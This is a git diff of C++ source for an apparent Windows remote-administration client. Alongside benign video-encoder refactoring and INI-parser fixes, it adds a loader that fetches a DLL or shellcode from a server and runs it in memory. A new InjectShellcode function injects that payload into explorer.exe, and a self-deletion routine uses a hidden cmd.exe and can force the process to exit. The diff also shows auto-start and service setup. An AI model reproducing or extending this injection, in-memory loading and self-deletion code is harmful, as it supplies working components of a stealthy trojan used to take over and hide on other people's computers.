|
// x264 软编只支持 CRF;调用方走 BITRATE 时降级为 CRF=23(与 BitRateToCRF 默认一致)
|
||||||
|
int crf = (params.rc == RateControl::CRF) ? params.crf : 23;
|
||||||
|
return open(params.width, params.height, params.fps, crf);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
void CX264Encoder::close()
|
void CX264Encoder::close()
|
||||||
{
|
{
|
||||||
if (m_pCodec) {
|
if (m_pCodec) {
|
||||||
@@ -146,6 +156,12 @@ int CX264Encoder::encode(
|
|||||||
return -2;
|
return -2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_pPicIn->i_type = X264_TYPE_IDR;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_pPicIn->i_type = X264_TYPE_AUTO;
|
||||||
|
}
|
||||||
|
|
||||||
encode_size = x264_encoder_encode(
|
encode_size = x264_encoder_encode(
|
||||||
m_pCodec,
|
m_pCodec,
|
||||||
|
|||||||
@@ -1,25 +1,30 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include <libyuv\libyuv.h>
|
#include <libyuv\libyuv.h>
|
||||||
#include <x264\x264.h>
|
#include <x264\x264.h>
|
||||||
}
|
}
|
||||||
|
|
||||||
#define DISABLE_X264_FOR_TEST 0
|
#include "common/config.h"
|
||||||
|
|
||||||
class CX264Encoder
|
class CX264Encoder : public VideoEncoderBase
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
x264_t* m_pCodec; //编码器实例
|
x264_t* m_pCodec; //编码器实例
|
||||||
x264_picture_t *m_pPicIn;
|
x264_picture_t *m_pPicIn;
|
||||||
x264_picture_t *m_pPicOut;
|
x264_picture_t *m_pPicOut;
|
||||||
x264_param_t m_Param;
|
x264_param_t m_Param;
|
||||||
|
bool m_forceIDR; // 下一次 encode 强制 IDR
|
||||||
public:
|
public:
|
||||||
|
// 旧签名保留:被 ScreenCapture 临时直接调;新增 EncoderParams overload 走接口路径
|
||||||
bool open(int width, int height, int fps, int crf);
|
bool open(int width, int height, int fps, int crf);
|
||||||
bool open(x264_param_t * param);
|
bool open(x264_param_t * param);
|
||||||
|
|
||||||
void close();
|
// VideoEncoderBase
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
int encode(
|
int encode(
|
||||||
uint8_t * rgb,
|
uint8_t * rgb,
|
||||||
uint8_t bpp,
|
uint8_t bpp,
|
||||||
@@ -29,9 +34,11 @@ public:
|
|||||||
uint8_t ** lppData,
|
uint8_t ** lppData,
|
||||||
uint32_t * lpSize,
|
uint32_t * lpSize,
|
||||||
int direction = 1
|
int direction = 1
|
||||||
);
|
) override;
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return "x264"; }
|
||||||
|
|
||||||
CX264Encoder();
|
CX264Encoder();
|
||||||
~CX264Encoder();
|
~CX264Encoder() override;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,10 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#ifndef SAFE_CLOSE_HANDLE
|
||||||
|
#define SAFE_CLOSE_HANDLE(h) if(h) { CloseHandle(h); h = NULL; }
|
||||||
|
#endif
|
||||||
|
|
||||||
// 提升权限
|
// 提升权限
|
||||||
inline int DebugPrivilege()
|
inline int DebugPrivilege()
|
||||||
@@ -101,7 +106,7 @@ inline bool markForDeleteOnReboot(const char* file)
|
|||||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
inline BOOL self_del(int timeoutSecond=3)
|
inline BOOL self_del(int timeoutSecond=3, bool forceExit = false)
|
||||||
{
|
{
|
||||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||||
@@ -109,7 +114,9 @@ inline BOOL self_del(int timeoutSecond=3)
|
|||||||
|
|
||||||
markForDeleteOnReboot(file);
|
markForDeleteOnReboot(file);
|
||||||
|
|
||||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
char szCmdPath[MAX_PATH] = { 0 };
|
||||||
|
GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);
|
||||||
|
sprintf(szCmd, "\"%s\" /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", szCmdPath, timeoutSecond, file);
|
||||||
|
|
||||||
STARTUPINFO si = { 0 };
|
STARTUPINFO si = { 0 };
|
||||||
PROCESS_INFORMATION pi = { 0 };
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
@@ -118,6 +125,8 @@ inline BOOL self_del(int timeoutSecond=3)
|
|||||||
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||||
SAFE_CLOSE_HANDLE(pi.hThread);
|
SAFE_CLOSE_HANDLE(pi.hThread);
|
||||||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||||||
|
if (forceExit)
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -130,7 +130,7 @@
|
|||||||
</EntryPointSymbol>
|
</EntryPointSymbol>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -177,7 +177,7 @@
|
|||||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -218,6 +218,9 @@
|
|||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
@@ -266,7 +269,11 @@
|
|||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="StdAfx.h" />
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
#include "stdio.h"
|
#include "stdio.h"
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
|
|
||||||
|
#if ENABLE_PROXY
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -290,3 +292,4 @@ SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
|
|||||||
|
|
||||||
return s;
|
return s;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -2,6 +2,11 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include <map>
|
#include <map>
|
||||||
|
|
||||||
|
#if ENABLE_PROXY==0
|
||||||
|
#define CProxyManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
class CProxyManager : public CManager
|
class CProxyManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -40,3 +45,5 @@ struct SocksThreadArg {
|
|||||||
LPBYTE lpBuffer;
|
LPBYTE lpBuffer;
|
||||||
int len;
|
int len;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
105
client/test.cpp
105
client/test.cpp
@@ -10,7 +10,7 @@
|
|||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
#include "SCLoader.cpp"
|
// #include "SCLoader.cpp"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "reg_startup.h"
|
#include "reg_startup.h"
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
|
|||||||
}
|
}
|
||||||
} PkgHeader;
|
} PkgHeader;
|
||||||
|
|
||||||
|
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||||
|
|
||||||
// Memory DLL runner.
|
// Memory DLL runner.
|
||||||
class MemoryDllRunner : public DllRunner
|
class MemoryDllRunner : public DllRunner
|
||||||
{
|
{
|
||||||
protected:
|
protected:
|
||||||
|
int m_payloadType = MEMORYDLL;
|
||||||
|
DllCallback m_callback = nullptr;
|
||||||
HMEMORYMODULE m_mod;
|
HMEMORYMODULE m_mod;
|
||||||
std::string GetIPAddress(const std::string& hostName)
|
std::string GetIPAddress(const std::string& hostName)
|
||||||
{
|
{
|
||||||
@@ -107,7 +111,7 @@ protected:
|
|||||||
return std::string(ipStr);
|
return std::string(ipStr);
|
||||||
}
|
}
|
||||||
public:
|
public:
|
||||||
MemoryDllRunner() : m_mod(nullptr) {}
|
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
|
||||||
virtual const char* ReceiveDll(int &size)
|
virtual const char* ReceiveDll(int &size)
|
||||||
{
|
{
|
||||||
WSADATA wsaData = {};
|
WSADATA wsaData = {};
|
||||||
@@ -146,9 +150,9 @@ public:
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||||
#else
|
#else
|
||||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||||
#endif
|
#endif
|
||||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||||
@@ -244,6 +248,9 @@ public:
|
|||||||
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
||||||
strcpy(addr->installName, g_ConnectAddress.installName);
|
strcpy(addr->installName, g_ConnectAddress.installName);
|
||||||
}
|
}
|
||||||
|
if (m_callback) {
|
||||||
|
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
|
||||||
|
}
|
||||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||||
SAFE_DELETE_ARRAY(buffer);
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
return m_mod;
|
return m_mod;
|
||||||
@@ -259,6 +266,37 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
int InjectShellcode(BYTE* buf, int len) {
|
||||||
|
ShellcodeInj inj(buf, len);
|
||||||
|
int pid = 0;
|
||||||
|
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||||
|
do {
|
||||||
|
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||||
|
return 1;
|
||||||
|
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||||
|
if (hProcess == NULL) {
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
|
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||||
|
HANDLE handles[2] = { hProcess, hEvent };
|
||||||
|
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||||
|
if (status == 1) {
|
||||||
|
Mprintf("结束运行.\n");
|
||||||
|
Sleep(1000);
|
||||||
|
TerminateProcess(hProcess, -1);
|
||||||
|
SAFE_CLOSE_HANDLE(hEvent);
|
||||||
|
}
|
||||||
|
SAFE_CLOSE_HANDLE(hProcess);
|
||||||
|
Mprintf("Process [%d] is finished.\n", pid);
|
||||||
|
Sleep(1000);
|
||||||
|
if (status == 1)
|
||||||
|
ExitProcess(0);
|
||||||
|
} while (pid);
|
||||||
|
}
|
||||||
|
|
||||||
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
||||||
// [settings]
|
// [settings]
|
||||||
// localIp=XXX
|
// localIp=XXX
|
||||||
@@ -278,6 +316,24 @@ int main(int argc, const char *argv[])
|
|||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
!isService, g_ConnectAddress.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||||
|
if (!folder) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
|
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
||||||
|
if (_access(dstFile, 0) == -1) {
|
||||||
|
char curFile[MAX_PATH] = { 0 };
|
||||||
|
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||||
|
GET_FILEPATH(curFile, "ServerDll.dll");
|
||||||
|
if (_access(curFile, 0) == -1) {
|
||||||
|
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
MoveFileA(curFile, dstFile);
|
||||||
|
}
|
||||||
|
}
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
@@ -317,44 +373,6 @@ int main(int argc, const char *argv[])
|
|||||||
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 此 Shell code 连接本机6543端口,注入到任务管理器
|
|
||||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
|
||||||
// Try to inject shell code to `notepad.exe`
|
|
||||||
// If failed then run memory DLL
|
|
||||||
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
|
|
||||||
int pid = 0;
|
|
||||||
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
|
||||||
do {
|
|
||||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
|
||||||
break;
|
|
||||||
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
|
||||||
if (hProcess == NULL) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
|
||||||
HANDLE handles[2] = { hProcess, hEvent };
|
|
||||||
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
|
||||||
if (status == 1) {
|
|
||||||
TerminateProcess(hProcess, -1);
|
|
||||||
SAFE_CLOSE_HANDLE(hEvent);
|
|
||||||
}
|
|
||||||
SAFE_CLOSE_HANDLE(hProcess);
|
|
||||||
Mprintf("Process [%d] is finished.\n", pid);
|
|
||||||
if (status == 1) {
|
|
||||||
Mprintf("结束运行.\n");
|
|
||||||
Sleep(1000);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
} while (pid);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
|
||||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
|
||||||
}
|
|
||||||
|
|
||||||
do {
|
do {
|
||||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
@@ -423,6 +441,9 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
case Startup_MEMDLL:
|
case Startup_MEMDLL:
|
||||||
runner = new MemoryDllRunner;
|
runner = new MemoryDllRunner;
|
||||||
break;
|
break;
|
||||||
|
case Startup_InjSC:
|
||||||
|
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
ExitProcess(-1);
|
ExitProcess(-1);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -11,6 +11,7 @@
|
|||||||
|
|
||||||
#include <cstdio>
|
#include <cstdio>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <fstream>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <map>
|
#include <map>
|
||||||
|
|
||||||
@@ -36,24 +37,20 @@ public:
|
|||||||
if (!filePath || !filePath[0])
|
if (!filePath || !filePath[0])
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
FILE* f = nullptr;
|
std::ifstream f(filePath);
|
||||||
#ifdef _MSC_VER
|
if (!f.is_open())
|
||||||
if (fopen_s(&f, filePath, "r") != 0 || !f)
|
|
||||||
return false;
|
return false;
|
||||||
#else
|
|
||||||
f = fopen(filePath, "r");
|
|
||||||
if (!f)
|
|
||||||
return false;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
// 不再使用固定行缓冲:超过 4KB 的行(如团购授权数百个 IP 的列表)会被
|
||||||
|
// fgets 拆成多段,第二段不带 '=' 会被 ParseLine 丢弃 → 显示截断。
|
||||||
|
// std::getline 按行读 std::string,无长度上限。
|
||||||
std::string currentSection;
|
std::string currentSection;
|
||||||
char line[4096];
|
std::string line;
|
||||||
|
while (std::getline(f, line)) {
|
||||||
while (fgets(line, sizeof(line), f)) {
|
if (!line.empty()) {
|
||||||
ParseLine(line, currentSection);
|
ParseLine(&line[0], currentSection);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(f);
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -76,13 +73,11 @@ public:
|
|||||||
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
|
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
|
||||||
lineEnd++;
|
lineEnd++;
|
||||||
|
|
||||||
// 复制行内容
|
// 不再限制行长度(原 4096 上限会悄无声息地丢弃长行)
|
||||||
size_t lineLen = lineEnd - p;
|
size_t lineLen = lineEnd - p;
|
||||||
if (lineLen > 0 && lineLen < 4096) {
|
if (lineLen > 0) {
|
||||||
char line[4096];
|
std::string line(p, lineLen);
|
||||||
memcpy(line, p, lineLen);
|
ParseLine(&line[0], currentSection);
|
||||||
line[lineLen] = '\0';
|
|
||||||
ParseLine(line, currentSection);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 跳过换行符
|
// 跳过换行符
|
||||||
@@ -100,24 +95,17 @@ public:
|
|||||||
if (!filePath || !filePath[0])
|
if (!filePath || !filePath[0])
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
FILE* f = nullptr;
|
std::ifstream f(filePath);
|
||||||
#ifdef _MSC_VER
|
if (!f.is_open())
|
||||||
if (fopen_s(&f, filePath, "r") != 0 || !f)
|
|
||||||
return false;
|
return false;
|
||||||
#else
|
|
||||||
f = fopen(filePath, "r");
|
|
||||||
if (!f)
|
|
||||||
return false;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
std::string currentSection;
|
std::string currentSection;
|
||||||
char line[4096];
|
std::string line;
|
||||||
|
while (std::getline(f, line)) {
|
||||||
while (fgets(line, sizeof(line), f)) {
|
if (!line.empty()) {
|
||||||
ParseLine(line, currentSection);
|
ParseLine(&line[0], currentSection);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(f);
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -255,6 +255,7 @@ enum {
|
|||||||
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
|
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
|
||||||
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
|
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
|
||||||
COMMAND_SHARE_CANCEL = 97,
|
COMMAND_SHARE_CANCEL = 97,
|
||||||
|
COMMAND_ENCODE_LEVEL = 98,
|
||||||
|
|
||||||
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
|
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
|
||||||
// 服务端发出的标识
|
// 服务端发出的标识
|
||||||
@@ -1188,6 +1189,12 @@ enum QualityLevel {
|
|||||||
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
enum EncodeLevel {
|
||||||
|
LEVEL_H264_SOFT = 0,
|
||||||
|
LEVEL_H264_HARD = 1,
|
||||||
|
LEVEL_AV1_HARD = 2,
|
||||||
|
};
|
||||||
|
|
||||||
/* 质量配置(与 QualityLevel 对应)
|
/* 质量配置(与 QualityLevel 对应)
|
||||||
- strategy = 0:1080p 限制
|
- strategy = 0:1080p 限制
|
||||||
- strategy = 1:原始分辨率
|
- strategy = 1:原始分辨率
|
||||||
@@ -1272,7 +1279,8 @@ typedef struct ScreenSettings {
|
|||||||
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
|
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
|
||||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||||
char Reserved[48]; // 偏移 48, 保留字段(新能力参数从此处扩展)
|
int EncodeLevel; // 偏移 48, 编码等级
|
||||||
|
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
||||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||||
} ScreenSettings; // 总大小 100 字节
|
} ScreenSettings; // 总大小 100 字节
|
||||||
|
|
||||||
@@ -1361,7 +1369,8 @@ enum {
|
|||||||
|
|
||||||
SHELLCODE = 0,
|
SHELLCODE = 0,
|
||||||
MEMORYDLL = 1,
|
MEMORYDLL = 1,
|
||||||
RUNTYPE_MAX = 2,
|
INJECT_SC = 2,
|
||||||
|
RUNTYPE_MAX = 3,
|
||||||
|
|
||||||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||||||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||||||
@@ -1620,6 +1629,12 @@ typedef struct ClientMsg {
|
|||||||
strcpy_s(this->title, title ? title : "提示信息");
|
strcpy_s(this->title, title ? title : "提示信息");
|
||||||
strcpy_s(this->text, text ? text : "");
|
strcpy_s(this->text, text ? text : "");
|
||||||
}
|
}
|
||||||
|
ClientMsg(const char* title, const char* text, int textLen)
|
||||||
|
{
|
||||||
|
cmd = TOKEN_CLIENT_MSG;
|
||||||
|
strcpy_s(this->title, title ? title : "提示信息");
|
||||||
|
memcpy(this->text, text, textLen);
|
||||||
|
}
|
||||||
} ClientMsg;
|
} ClientMsg;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
25
common/config.h
Normal file
25
common/config.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
|
||||||
|
/// 开源协议合规开关
|
||||||
|
|
||||||
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
|
#define DISABLE_X264_FOR_TEST 0
|
||||||
|
|
||||||
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
|
#define DISABLE_FFMPEG_FOR_TEST 0
|
||||||
|
|
||||||
|
/// 客户端功能开关
|
||||||
|
|
||||||
|
#define ENABLE_SHELL TRUE // 终端管理
|
||||||
|
#define ENABLE_PROC_WND TRUE // 进程/窗口管理
|
||||||
|
#define ENABLE_SCREEN TRUE // 远程桌面
|
||||||
|
#define ENABLE_FILE_MNG TRUE // 文件管理
|
||||||
|
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||||
|
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||||
|
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||||
|
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||||
|
